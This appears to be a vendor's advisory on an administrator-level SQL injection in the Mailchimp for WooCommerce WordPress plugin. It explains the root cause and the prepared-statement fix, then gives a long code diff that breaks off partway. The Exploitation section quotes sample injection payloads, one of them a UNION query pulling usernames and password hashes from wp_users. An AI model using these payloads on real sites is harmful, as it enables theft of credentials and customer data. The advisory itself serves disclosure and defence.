Published : August 13, 2026

CVE-2026-73346: Mailchimp for WooCommerce < 6.2 Authenticated (Administrator+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 6.2
Patched Version 6.2
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-73346:

This vulnerability is an authenticated SQL Injection in the Mailchimp for WooCommerce plugin for WordPress, affecting versions up to and including 6.2. The flaw exists in the `mailchimp_get_wc_customer` function located in the `bootstrap.php` file. An attacker with administrator-level access can exploit this to extract sensitive data from the database, leading to a full information disclosure.

Root Cause:

The root cause of this vulnerability is the insecure construction of a SQL query in the `mailchimp_get_wc_customer` function within `mailchimp-for-woocommerce/bootstrap.php`. The vulnerable code, found at line 1596 in the previous version, directly interpolates the `$email` parameter into the SQL query string without sanitization or preparation: `return $wpdb->get_row( “SELECT * FROM `{$wpdb->prefix}wc_customer_lookup` WHERE `email` = ‘{$email}'” );`. This direct injection allows an attacker to break out of the intended SQL statement and append malicious queries or conditions.

Exploitation:

An attacker with Administrator-level access would need to trigger a code path that calls `mailchimp_get_wc_customer()` with a crafted `$email` argument. This function is likely used during order processing, customer synchronization, or API interactions. By injecting a malicious payload into the `email` parameter, the attacker could manipulate the query. For example, a value like `’ OR 1=1 — -` or a UNION-based payload like `’ UNION SELECT user_login,user_pass FROM wp_users — -` would be appended to the original query, allowing the attacker to retrieve hashed passwords and other sensitive user information directly from the database.

Patch Analysis:

The patch corrects the vulnerability by replacing the direct string interpolation with a prepared statement. The patched code at line 1596 now reads: `return $wpdb->get_row( $wpdb->prepare( “SELECT * FROM `{$wpdb->prefix}wc_customer_lookup` WHERE `email` = %s”, $email ) );`. This change uses `$wpdb->prepare()` to safely escape the `$email` parameter, ensuring that any special characters are treated as data and not as part of the SQL query syntax. This prevents any injected SQL from being executed. Atomic Edge analysis confirms this is the correct and complete fix for this SQL injection issue.

Impact:

The impact of a successful exploitation is severe. It allows an authenticated attacker with administrator privileges to exfiltrate the entire database, including WordPress user credentials, password hashes, session tokens, customer personal data, and order information. While administrator access is required, a successful attack completely compromises the integrity and confidentiality of the WordPress installation and its users, creating a significant security risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mailchimp-for-woocommerce/admin/class-mailchimp-woocommerce-admin.php
+++ b/mailchimp-for-woocommerce/admin/class-mailchimp-woocommerce-admin.php
@@ -132,13 +132,13 @@
 	 * @since    1.0.0
 	 */
 	public function enqueue_styles( $hook ) {
-		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/mailchimp-woocommerce-admin.css', array(), $this->version . '.21' );
+		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/mailchimp-woocommerce-admin.css', array(), $this->version );

 		if ( strpos( $hook, 'page_mailchimp-woocommerce' ) !== false || strpos( $hook, 'create-mailchimp-account' ) !== false) {
 			if ( get_bloginfo( 'version' ) < '5.3' ) {
 				wp_enqueue_style( $this->plugin_name . '-settings', plugin_dir_url( __FILE__ ) . 'css/mailchimp-woocommerce-admin-settings-5.2.css', array(), $this->version );
 			}
-			wp_enqueue_style( $this->plugin_name . '-settings', plugin_dir_url( __FILE__ ) . 'css/mailchimp-woocommerce-admin-settings.css', array(), $this->version . '.01' );
+			wp_enqueue_style( $this->plugin_name . '-settings', plugin_dir_url( __FILE__ ) . 'css/mailchimp-woocommerce-admin-settings.css', array(), $this->version );
 			// Update v2
 			wp_enqueue_style( $this->plugin_name . '-settings-v2', plugin_dir_url( __FILE__ ) . 'v2/assets/css/styles.css', array(), $this->version);
 			// End update v2
@@ -573,6 +573,18 @@
             // we have some stores that are in a perpetual state of syncing - causing issues with support.
             // trying to adjust things on plugin update
 			//$this->fix_is_syncing_problem();
+
+			// Stores that completed a sync on older versions can still carry a
+			// stale sync.initial_sync flag, which makes every API call send
+			// X-Data-Mode: historical — live orders get treated as historical
+			// data. Only safe to clear when no sync is running; an in-flight
+			// initial sync legitimately needs the flag.
+			if ( ! (bool) mailchimp_get_data( 'sync.syncing' ) ) {
+				Mailchimp_Woocommerce_DB_Helpers::delete_option( 'mailchimp-woocommerce-sync.initial_sync' );
+				// rebuild the per-request env snapshot so the rest of this
+				// request stops sending the historical header immediately.
+				mailchimp_environment_variables( true );
+			}
 		}

 		// Carts-table one-time cleanup: add PRIMARY KEY on email column and
--- a/mailchimp-for-woocommerce/admin/v2/templates/connect-accounts/button-actions.php
+++ b/mailchimp-for-woocommerce/admin/v2/templates/connect-accounts/button-actions.php
@@ -14,18 +14,19 @@
 		<span><?php esc_html_e( 'Connect your store to Mailchimp', 'mailchimp-for-woocommerce' ); ?></span>
 	</legend>
 	<div class="mc-wc-actions">
-        <a id="mailchimp-oauth-connect" class="mc-wc-btn mc-wc-btn-primary oauth-connect js-mailchimp-woocommerce-send-event" data-mc-event="click_connect_account"><?php esc_html_e( 'Connect Account', 'mailchimp-for-woocommerce' );  ?></a>
+        <a id="mailchimp-oauth-connect" class="mc-wc-btn mc-wc-btn-primary oauth-connect js-mailchimp-woocommerce-send-event" data-mc-event="click_connect_account">
+            <?php esc_html_e( 'Connect Account', 'mailchimp-for-woocommerce' );  ?>
+            <img class="sync-loader" style="display: none;" src="<?php echo esc_attr( plugin_dir_url( __FILE__ ) . '../../assets/images/3dotpurple.gif' ); ?>"/>
+        </a>
 		<?php if (!isset($promo_active) || !$promo_active): ?>
         <a class="mc-wc-btn mc-wc-btn-primary-outline create-account js-mailchimp-woocommerce-send-event" data-mc-event="click_create_account" href='<?php echo esc_url($create_account_url) ?>'><?php esc_html_e( 'Create account', 'mailchimp-for-woocommerce' ); ?></a>
         <?php endif; ?>
 	</div>

 	<input type="hidden" id="<?php echo esc_attr( $this->plugin_name ); ?>-mailchimp-api-key" name="<?php echo esc_attr( $this->plugin_name ); ?>[mailchimp_api_key]" value="<?php echo isset( $options['mailchimp_api_key'] ) ? esc_attr( $options['mailchimp_api_key'] ) : ''; ?>" required/>
-    <?php if ($show_connection_messages) : ?>
 	<p id="mailchimp-oauth-waiting" class="oauth-description"><?php esc_html_e( 'Connecting. A new window will open with Mailchimp's OAuth service. Please log-in and we will take care of the rest.', 'mailchimp-for-woocommerce' ); ?></p>
-	<p id="mailchimp-oauth-error" class="oauth-description"><?php esc_html_e( 'Error, can't login.', 'mailchimp-for-woocommerce' ); ?></p>
+	<p id="mailchimp-oauth-error" class="oauth-description"><?php esc_html_e( 'Login failed.', 'mailchimp-for-woocommerce' ); ?></p>
 	<p id="mailchimp-oauth-connecting" class="oauth-description"><?php esc_html_e( 'Connection in progress', 'mailchimp-for-woocommerce' ); ?><span class="spinner" style="visibility:visible; margin: 0 10px;"></span></p>
 	<p id="mailchimp-oauth-connected" class="oauth-description "><?php esc_html_e( 'Connected! Please wait while loading next step', 'mailchimp-for-woocommerce' ); ?></p>
-    <?php endif; ?>
 </fieldset>
 <?php include_once 'create-account-popup.php'; ?>
 No newline at end of file
--- a/mailchimp-for-woocommerce/blocks/build/newsletter-block-frontend.asset.php
+++ b/mailchimp-for-woocommerce/blocks/build/newsletter-block-frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wc-blocks-checkout', 'wc-blocks-shared-hocs', 'wc-settings', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'ff2088c6ddfed08ef5c9');
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wc-blocks-shared-hocs', 'wc-settings', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '7aa258ddc4b395ba31fd');
--- a/mailchimp-for-woocommerce/blocks/build/newsletter-block.asset.php
+++ b/mailchimp-for-woocommerce/blocks/build/newsletter-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wc-blocks-checkout', 'wc-settings', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n', 'wp-polyfill'), 'version' => '14538527c4c5fa4c3b49');
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wc-settings', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n', 'wp-polyfill'), 'version' => 'bfdf2a3d103adddd0f2c');
--- a/mailchimp-for-woocommerce/blocks/build/pixel-tracking.asset.php
+++ b/mailchimp-for-woocommerce/blocks/build/pixel-tracking.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => '740c58b265909004380b');
+<?php return array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => 'e1e1f7312242942b6f0e');
--- a/mailchimp-for-woocommerce/blocks/build/sms-consent-block-frontend.asset.php
+++ b/mailchimp-for-woocommerce/blocks/build/sms-consent-block-frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wc-blocks-checkout', 'wc-blocks-shared-hocs', 'wc-settings', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'ee58495082851a6e6b5d');
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wc-blocks-shared-hocs', 'wc-settings', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'ae1ebb1bb55549e6acb5');
--- a/mailchimp-for-woocommerce/blocks/build/sms-consent-block.asset.php
+++ b/mailchimp-for-woocommerce/blocks/build/sms-consent-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wc-blocks-checkout', 'wc-settings', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'fd6ce3f1960c8fb4b18f');
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wc-settings', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '4d5808f4ac0241b07c91');
--- a/mailchimp-for-woocommerce/blocks/newsletter.php
+++ b/mailchimp-for-woocommerce/blocks/newsletter.php
@@ -15,25 +15,34 @@
         add_action( 'woocommerce_store_api_checkout_update_order_from_request', array( 'Mailchimp_Woocommerce_Newsletter_Blocks_Integration', 'order_processed' ), 10, 2 );
         add_action( 'woocommerce_store_api_checkout_order_processed', array( 'Mailchimp_Woocommerce_Newsletter_Blocks_Integration', 'order_customer_processed' ) );

-        if (mailchimp_sms_consent_enabled()) {
-            add_action( 'woocommerce_store_api_checkout_update_order_from_request', array( 'Mailchimp_Woocommerce_Sms_Blocks_Integration', 'order_processed' ), 10, 2 );
-            add_action( 'woocommerce_store_api_checkout_order_processed', array( 'Mailchimp_Woocommerce_Sms_Blocks_Integration', 'order_customer_processed' ) );
-        }

 		require_once dirname( __FILE__ ) . '/woocommerce-blocks-integration.php';
-		require_once dirname( __FILE__ ) . '/woocommerce-sms-blocks-integration.php';
-		require_once dirname( __FILE__ ) . '/woocommerce-blocks-extend-store-endpoint.php';
-        require_once dirname( __FILE__ ) . '/woocommerce-blocks-extend-store-endpoint-sms.php';
+        require_once dirname( __FILE__ ) . '/woocommerce-blocks-extend-store-endpoint.php';

 		add_action(
 			'woocommerce_blocks_checkout_block_registration',
 			function( $integration_registry ) {
 				$integration_registry->register( new Mailchimp_Woocommerce_Newsletter_Blocks_Integration() );
-				$integration_registry->register( new Mailchimp_Woocommerce_Sms_Blocks_Integration() );
 			}
 		);

 		Mailchimp_Woocommerce_Newsletter_Blocks_Extend_Store_Endpoint::init();
-        Mailchimp_Woocommerce_Sms_Blocks_Extend_Store_Endpoint::init();
+
+        if (mailchimp_sms_consent_active()) {
+            add_action( 'woocommerce_store_api_checkout_update_order_from_request', array( 'Mailchimp_Woocommerce_Sms_Blocks_Integration', 'order_processed' ), 10, 2 );
+            add_action( 'woocommerce_store_api_checkout_order_processed', array( 'Mailchimp_Woocommerce_Sms_Blocks_Integration', 'order_customer_processed' ) );
+
+            require_once dirname( __FILE__ ) . '/woocommerce-sms-blocks-integration.php';
+            require_once dirname( __FILE__ ) . '/woocommerce-blocks-extend-store-endpoint-sms.php';
+
+            add_action(
+                'woocommerce_blocks_checkout_block_registration',
+                function( $integration_registry ) {
+                    $integration_registry->register( new Mailchimp_Woocommerce_Sms_Blocks_Integration() );
+                }
+            );
+
+            Mailchimp_Woocommerce_Sms_Blocks_Extend_Store_Endpoint::init();
+        }
 	}
 } );
 No newline at end of file
--- a/mailchimp-for-woocommerce/bootstrap.php
+++ b/mailchimp-for-woocommerce/bootstrap.php
@@ -135,7 +135,7 @@
     $cached = (object) array(
         'repo' => 'master',
         'environment' => 'production', // staging or production
-        'version' => '6.1.1',
+        'version' => '6.2',
         'php_version' => phpversion(),
         'wp_version' => (empty($wp_version) ? 'Unknown' : $wp_version),
         'wc_version' => function_exists('WC') ? WC()->version : null,
@@ -1596,7 +1596,7 @@
  */
 function mailchimp_get_wc_customer($email) {
     global $wpdb;
-    return $wpdb->get_row( "SELECT * FROM `{$wpdb->prefix}wc_customer_lookup` WHERE `email` = '{$email}'" );
+    return $wpdb->get_row( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}wc_customer_lookup` WHERE `email` = %s", $email ) );
 }

 /**
@@ -2048,7 +2048,8 @@
  *
  * @return bool
  */
-function mailchimp_sms_consent_enabled() {
+function mailchimp_sms_consent_active()
+{
     if (!MailChimp_Sms_Consent::isEligibleCountry()) {
         return false;
     }
@@ -2059,14 +2060,24 @@
         return false;
     }

-    // Classic checkout path — admin toggled the option on.
+    return true;
+}
+
+function mailchimp_sms_consent_enabled_in_classic_checkout()
+{
     $options = mailchimp_get_admin_options();
     if (!empty($options['mailchimp_sms_consent_enabled'])) {
         return true;
     }

+    return false;
+}
+
+function mailchimp_sms_consent_enabled() {
+    // Classic checkout path — admin toggled the option on.
+
     // Block checkout path — check the block's "usingSmsConsent" attribute.
-    return mailchimp_sms_block_enabled_in_checkout();
+    return mailchimp_sms_consent_active() && (mailchimp_sms_block_enabled_in_checkout() || mailchimp_sms_consent_enabled_in_classic_checkout());
 }

 /**
--- a/mailchimp-for-woocommerce/includes/api/class-mailchimp-api.php
+++ b/mailchimp-for-woocommerce/includes/api/class-mailchimp-api.php
@@ -11,6 +11,7 @@
 	protected $auth_type   = 'key';
     protected $allow_audience_put = true;
     protected $auto_doi = false;
+    protected $is_syncing = null;

 	/** @var null|MailChimp_WooCommerce_MailChimpApi */
 	protected static $instance = null;
@@ -42,6 +43,17 @@
 		}
 	}

+    public function setIsSyncing($bool = true)
+    {
+        $this->is_syncing = (bool) $bool;
+        return $this;
+    }
+
+    public function isSyncing()
+    {
+        return $this->is_syncing;
+    }
+
     /**
      * @param $bool
      * @return $this
@@ -68,7 +80,7 @@
 	 * @return $this
 	 */
 	public function setApiKey( $key ) {
-		$parts = str_getcsv( $key, '-' );
+		$parts = str_getcsv( $key, '-' , '"', '');

 		if ( count( $parts ) == 2 ) {
 			$this->data_center = $parts[1];
@@ -720,7 +732,9 @@
             'sms_phone' => $sms_phone,
             'marketing_consent' => array(
                 'status' => $subscribed ? 'confirmed' : 'pending',
-                'source' => 'Mailchimp for Woocommerce',
+                'source' => array(
+                    'name' => 'Mailchimp for Woocommerce',
+                ),
             ),
         );

@@ -756,7 +770,9 @@
                 'email' => $email,
                 'marketing_consent' => [
                     'status' => $email_subscribed ? 'confirmed' : 'unknown',
-                    'source' => 'Mailchimp for Woocommerce',
+                    'source' => array(
+                        'name' => 'Mailchimp for Woocommerce',
+                    ),
                 ]
             ],
             'sms_channel' => $sms_channel,
@@ -816,7 +832,9 @@
             'sms_phone' => $sms_phone,
             'marketing_consent' => array(
                 'status' => $subscribed ? 'confirmed' : 'unsubscribed',
-                'source' => 'Mailchimp for Woocommerce',
+                'source' => array(
+                    'name' => 'Mailchimp for Woocommerce',
+                ),
             ),
         );

@@ -1024,7 +1042,7 @@
             // Try to get SMS settings for the audience
             $result = $this->get( "lists/{$list_id}/sms-program" );

-            if ( isset( $result['sms_enabled'] ) && $result['sms_enabled'] ) {
+            if (!empty($result['sms_program'][0]['can_send'])) {
                 return array(
                     'enabled' => true,
                     'sending_countries' => isset( $result['sending_countries'] ) ? $result['sending_countries'] : array(),
@@ -1047,10 +1065,10 @@
      */
     public function getCachedSmsApplicationStatus( $list_id ) {
         $transient_key = "mailchimp_sms_status_{$list_id}";
-        $cached = mailchimp_get_transient( $transient_key );
+        $cached = mailchimp_get_transient( $transient_key, false );

         if ( $cached !== false ) {
-            return $cached;
+            return $cached['value'];
         }

         try {
@@ -1062,7 +1080,6 @@
             return false;
         }
     }
-
     /**
      * Check if a country is in the merchant's SMS sending countries
      *
@@ -2618,6 +2635,9 @@
 			return $GDPRfields;
 		}

+        $filteredMinutes = (int) apply_filters('mailchimp_checkout_overwrite_gdpr_cache_minutes', $minutes);
+        $minutes = $filteredMinutes <= 0 ? $minutes : $filteredMinutes;
+
 		try {
 			$GDPRfields = $this->getGDPRFields( $list_id );
 			set_transient( $transient, $GDPRfields, 60 * $minutes );
@@ -3136,7 +3156,7 @@
             $headers
         );

-        if ($env->initial_sync) {
+        if ($this->is_syncing) {
             $headers[] = 'X-Data-Mode: historical';
         }

--- a/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-newsletter.php
+++ b/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-newsletter.php
@@ -117,259 +117,10 @@
             }

             echo apply_filters( 'mailchimp_woocommerce_newsletter_field', $checkbox, $status, $label);
-
-            // Render SMS consent fields after newsletter checkbox
-            $this->applySmsConsentField();
-        }
-    }
-
-    /**
-     * Render SMS consent checkbox and phone field for classic checkout
-     */
-    public function applySmsConsentField()
-    {
-        // Check if SMS is enabled in settings
-        if (!$this->isSmsEnabled()) {
-            return;
-        }
-
-        // Check if merchant has approved SMS application
-        if (!$this->merchantHasSmsApproved()) {
-            return;
-        }
-
-        // Compliance: checkbox must always be unchecked by default, label and disclaimer are fixed
-        $sms_label = __('Text me with news and offers', 'mailchimp-for-woocommerce');
-
-        $audience_name = $this->getAudienceName();
-        $prefix = !empty($audience_name) ? $audience_name . ' – ' : '';
-        $in_sentence = !empty($audience_name) ? $audience_name : 'us';
-        $sms_disclaimer = $prefix . __('By providing your phone number, you agree to receive promotional and marketing messages (e.g. abandoned carts), notifications, and customer service communications from '.$in_sentence.'. Message and data rates map apply. Consent is not a condition of purchase. Message frequency varies. Text HELP for help. Text STOP to cancel. See Terms and Privacy Policy.', 'mailchimp-for-woocommerce');
-
-        // Always unchecked by default per compliance
-        $sms_status = false;
-        $sms_phone = '';
-        $hide_sms_for_subscriber = false;
-
-        // Check logged-in user's SMS subscription status
-        if (is_user_logged_in()) {
-            $user_sms_status = get_user_meta(get_current_user_id(), 'mailchimp_woocommerce_sms_subscribed', true);
-            $sms_phone = get_user_meta(get_current_user_id(), 'mailchimp_woocommerce_sms_phone', true);
-            $hide_sms_for_subscriber = $user_sms_status === true || $user_sms_status === '1';
-
-            if ($user_sms_status === '' || $user_sms_status === null) {
-                $sms_status = false;
-            } else {
-                $sms_status = (bool) $user_sms_status;
-            }
-        }
-
-        // Don't show if already subscribed to SMS
-        if (is_checkout() && $hide_sms_for_subscriber) {
-            return;
-        }
-
-        // Build SMS consent HTML
-        $sms_html = '<div class="mailchimp-sms-consent" style="margin-top: 15px;">';
-
-        // SMS Checkbox
-        $sms_html .= '<p class="form-row form-row-wide mailchimp-sms-checkbox">';
-        $sms_html .= '<label for="mailchimp_woocommerce_sms_subscribe" class="woocommerce-form__label woocommerce-form__label-for-checkbox inline">';
-        $sms_html .= '<input class="woocommerce-form__input woocommerce-form__input-checkbox input-checkbox" id="mailchimp_woocommerce_sms_subscribe" type="checkbox" name="mailchimp_woocommerce_sms_subscribe" value="1"' . ($sms_status ? ' checked="checked"' : '') . '> ';
-        $sms_html .= '<span>' . esc_html($sms_label) . '</span></label>';
-        $sms_html .= '</p>';
-
-        // SMS Phone field (conditionally displayed via JS)
-        $sms_html .= '<div id="mailchimp-sms-phone-wrapper" class="form-row form-row-wide from-newsletter" style="display: ' . ($sms_status ? 'block' : 'none') . '; margin-left: 28px;">';
-        $sms_html .= '<label for="mailchimp_woocommerce_sms_phone">' . __('SMS Phone Number', 'mailchimp-for-woocommerce') . ' <abbr class="required" title="required">*</abbr></label>';
-        $sms_html .= '<input type="tel" class="input-text" id="mailchimp_woocommerce_sms_phone" name="mailchimp_woocommerce_sms_phone" placeholder="+1 (555) 123-4567" value="' . esc_attr($sms_phone) . '">';
-        $sms_html .= '<small class="mailchimp-sms-disclaimer" style="display: block; color: #666; font-size: 12px; margin-top: 8px; line-height: 1.4;">' . esc_html($sms_disclaimer) . '</small>';
-        $sms_html .= '</div>';
-
-        $sms_html .= '</div>';
-        $sms_html .= '<div class="clear"></div>';
-
-        // Get SMS sending countries for JS
-        $sms_countries = $this->getSmsSendingCountries();
-        $sms_countries_json = !empty($sms_countries) ? json_encode($sms_countries) : '[]';
-
-        // JavaScript to toggle phone field visibility, validation, and country filtering
-        $sms_html .= '<script type="text/javascript">
-            jQuery(document).ready(function($) {
-                var smsCheckbox = $("#mailchimp_woocommerce_sms_subscribe");
-                var smsPhoneWrapper = $("#mailchimp-sms-phone-wrapper");
-                var smsPhoneInput = $("#mailchimp_woocommerce_sms_phone");
-                var smsConsentWrapper = $(".mailchimp-sms-consent");
-                var smsSendingCountries = ' . $sms_countries_json . ';
-
-                function isCountryEligible(countryCode) {
-                    // If no countries configured, allow all
-                    if (!smsSendingCountries || smsSendingCountries.length === 0) {
-                        return true;
-                    }
-                    return smsSendingCountries.indexOf(countryCode.toUpperCase()) !== -1;
-                }
-
-                function checkBillingCountry() {
-                    var billingCountry = $("#billing_country").val();
-                    if (billingCountry && !isCountryEligible(billingCountry)) {
-                        smsConsentWrapper.slideUp();
-                        smsCheckbox.prop("checked", false);
-                        smsPhoneInput.prop("required", false).val("");
-                    } else {
-                        smsConsentWrapper.slideDown();
-                    }
-                }
-
-                function toggleSmsPhone() {
-                    if (smsCheckbox.is(":checked")) {
-                        smsPhoneWrapper.slideDown();
-                        smsPhoneInput.prop("required", true);
-                    } else {
-                        smsPhoneWrapper.slideUp();
-                        smsPhoneInput.prop("required", false).val("");
-                    }
-                }
-
-                smsCheckbox.on("change", toggleSmsPhone);
-                toggleSmsPhone();
-
-                // Watch for billing country changes
-                $("#billing_country").on("change", checkBillingCountry);
-                $(document.body).on("updated_checkout", checkBillingCountry);
-                checkBillingCountry();
-
-                function mailchimpValidateSmsPhone(value) {
-                    console.log("validate_callback for smsPhone", { value });
-
-                    // 1) Type check (match PHP logic)
-                    if (value !== null && typeof value !== "string") {
-                        return {
-                            error: "api-error",
-                            message: "SMS phone must be a string"
-                        };
-                    }
-                    // 2) Only validate if not empty
-                    if (value && value.length > 0) {
-                        // Remove spaces, dashes, parentheses (same as preg_replace)
-                        const cleaned = value.replace(/[s-()]/g, "");
-                        // 3) Same regex as PHP
-                        const phoneRegex = /^+?[1-9]d{6,14}$/;
-                        if (!phoneRegex.test(cleaned)) {
-                            return {
-                                error: "api-error",
-                                message: "Invalid phone number format"
-                            };
-                        }
-                    }
-                    return true;
-                }
-
-                // Validation on checkout
-                $("form.checkout").on("checkout_place_order", function() {
-
-                    if (!smsCheckbox.is(":checked")) {
-                        console.log("no sms consent, skipping validation");
-                        return true;
-                    }
-                    console.log("checking sms consent", smsPhoneInput.val());
-                        if (!smsPhoneInput.val().trim()) {
-                            alert("' . esc_js(__('Please enter a valid phone number for SMS consent.', 'mailchimp-for-woocommerce')) . '");
-                            smsPhoneInput.focus();
-                            return false;
-                        }
-
-                        const result = mailchimpValidateSmsPhone(smsPhoneInput.val().trim());
-                        console.log("sms result", result);
-                        if (result !== true) {
-                            alert(result.message || "Invalid SMS phone number.");
-                            smsPhoneInput.focus();
-                            return false;
-                        }
-                        return true;
-                });
-            });
-        </script>';
-
-        echo apply_filters('mailchimp_woocommerce_sms_consent_field', $sms_html, $sms_status, $sms_label);
-    }
-
-    /**
-     * Check if SMS marketing is enabled
-     *
-     * @return bool
-     */
-    public function isSmsEnabled()
-    {
-        return (bool) $this->getOption('mailchimp_sms_enabled', false);
-    }
-
-    /**
-     * Check if merchant has an approved SMS application
-     *
-     * @return bool
-     */
-    public function merchantHasSmsApproved()
-    {
-        try {
-            if (!mailchimp_is_configured()) {
-                return false;
-            }
-            $list_id = mailchimp_get_list_id();
-            if (!$list_id) {
-                return false;
-            }
-            $api = mailchimp_get_api();
-            $sms_status = $api->getCachedSmsApplicationStatus($list_id);
-            return $sms_status && !empty($sms_status['enabled']);
-        } catch (Exception $e) {
-            return false;
-        }
-    }
-
-    /**
-     * Get SMS sending countries for the merchant
-     *
-     * @return array
-     */
-    public function getSmsSendingCountries()
-    {
-        try {
-            if (!mailchimp_is_configured()) {
-                return array();
-            }
-            $list_id = mailchimp_get_list_id();
-            if (!$list_id) {
-                return array();
-            }
-            $api = mailchimp_get_api();
-            $sms_status = $api->getCachedSmsApplicationStatus($list_id);
-            if ($sms_status && !empty($sms_status['sending_countries'])) {
-                return $sms_status['sending_countries'];
-            }
-            return array();
-        } catch (Exception $e) {
-            return array();
         }
     }

     /**
-     * Check if a country is eligible for SMS
-     *
-     * @param string $country_code 2-letter country code
-     * @return bool
-     */
-    public function isCountryEligibleForSms($country_code)
-    {
-        $sending_countries = $this->getSmsSendingCountries();
-        if (empty($sending_countries)) {
-            // If no countries configured, allow all (graceful fallback)
-            return true;
-        }
-        return in_array(strtoupper($country_code), $sending_countries, true);
-    }
-
-    /**
      * Get the audience name for disclaimer
      *
      * @return string
@@ -399,7 +150,6 @@
     public function processNewsletterField($order_id, $posted)
     {
         $this->handleStatus($order_id);
-        $this->handleSmsStatus($order_id);
     }

 	/**
@@ -408,7 +158,6 @@
     public function processPayPalNewsletterField($order)
     {
         $this->handleStatus($order->get_id());
-        $this->handleSmsStatus($order->get_id());
     }

     /**
@@ -423,7 +172,6 @@
         }

         $this->handleStatus();
-        $this->handleSmsStatus();
     }

     /**
@@ -458,97 +206,4 @@

         return false;
     }
-
-    /**
-     * Handle SMS subscription status from classic checkout
-     *
-     * @param null $order_id
-     * @return bool
-     */
-    protected function handleSmsStatus($order_id = null)
-    {
-        // Check if SMS is enabled
-        if (!$this->isSmsEnabled()) {
-            return false;
-        }
-
-        $sms_checkbox_key = 'mailchimp_woocommerce_sms_subscribe';
-        $sms_phone_key = 'mailchimp_woocommerce_sms_phone';
-        $sms_subscribed_meta = 'mailchimp_woocommerce_sms_subscribed';
-        $sms_phone_meta = 'mailchimp_woocommerce_sms_phone';
-        $logged_in = is_user_logged_in();
-
-        // Get SMS consent status from POST
-        $sms_subscribed = isset($_POST[$sms_checkbox_key]) ? (bool) $_POST[$sms_checkbox_key] : false;
-        $sms_phone = isset($_POST[$sms_phone_key]) ? sanitize_text_field($_POST[$sms_phone_key]) : '';
-
-        // Sanitize phone number - keep only + and digits
-        $sms_phone = preg_replace('/[^+d]/', '', $sms_phone);
-
-        // If they didn't check the box or didn't provide a phone, don't save anything
-        if (!$sms_subscribed || empty($sms_phone)) {
-            return false;
-        }
-
-        // Update order meta
-        if ($order_id) {
-            MailChimp_WooCommerce_HPOS::update_order_meta($order_id, $sms_subscribed_meta, true);
-            MailChimp_WooCommerce_HPOS::update_order_meta($order_id, $sms_phone_meta, $sms_phone);
-        }
-
-        // Update user meta if logged in
-        if ($logged_in) {
-            update_user_meta(get_current_user_id(), $sms_subscribed_meta, true);
-            update_user_meta(get_current_user_id(), $sms_phone_meta, $sms_phone);
-        }
-
-        return true;
-    }
-
-    /**
-     * Get SMS subscription data from order
-     *
-     * @param int $order_id
-     * @return array|false
-     */
-    public static function getSmsDataFromOrder($order_id)
-    {
-        $wc_order = wc_get_order($order_id);
-        if (!$wc_order) {
-            return false;
-        }
-
-        $sms_subscribed = $wc_order->get_meta('mailchimp_woocommerce_sms_subscribed');
-        $sms_phone = $wc_order->get_meta('mailchimp_woocommerce_sms_phone');
-
-        if (!$sms_subscribed || empty($sms_phone)) {
-            return false;
-        }
-
-        return array(
-            'subscribed' => (bool) $sms_subscribed,
-            'phone' => $sms_phone,
-        );
-    }
-
-    /**
-     * Get SMS subscription data from user
-     *
-     * @param int $user_id
-     * @return array|false
-     */
-    public static function getSmsDataFromUser($user_id)
-    {
-        $sms_subscribed = get_user_meta($user_id, 'mailchimp_woocommerce_sms_subscribed', true);
-        $sms_phone = get_user_meta($user_id, 'mailchimp_woocommerce_sms_phone', true);
-
-        if (!$sms_subscribed || empty($sms_phone)) {
-            return false;
-        }
-
-        return array(
-            'subscribed' => (bool) $sms_subscribed,
-            'phone' => $sms_phone,
-        );
-    }
 }
--- a/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-rest-api.php
+++ b/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-rest-api.php
@@ -1069,7 +1069,7 @@
         // get the auth token from either a header, or the query string
         $token = (string) $this->getAuthToken($request);
         // get the token and pull out both the consumer key and consumer secret split by the :
-        $parts = str_getcsv($token, ':');
+        $parts = str_getcsv($token, ':', '"', '');
         // if we don't have 2 items, that's invalid
         if (count($parts) !== 2) {
             mailchimp_debug('authorize', "token invalid format", ['token_present' => !empty($token)]);
--- a/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-service.php
+++ b/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-service.php
@@ -16,6 +16,7 @@
     protected $cart_subscribe = null;
     protected $force_cart_post = false;
     protected $cart_was_submitted = false;
+    protected $cart_was_deleted = false;
     protected $cart = array();
     protected $validated_cart_db = false;
     // this is used during rest api requests to force the user update through the is_admin function
@@ -193,10 +194,113 @@
     {
         if ($user_email = $this->getCurrentUserEmail()) {
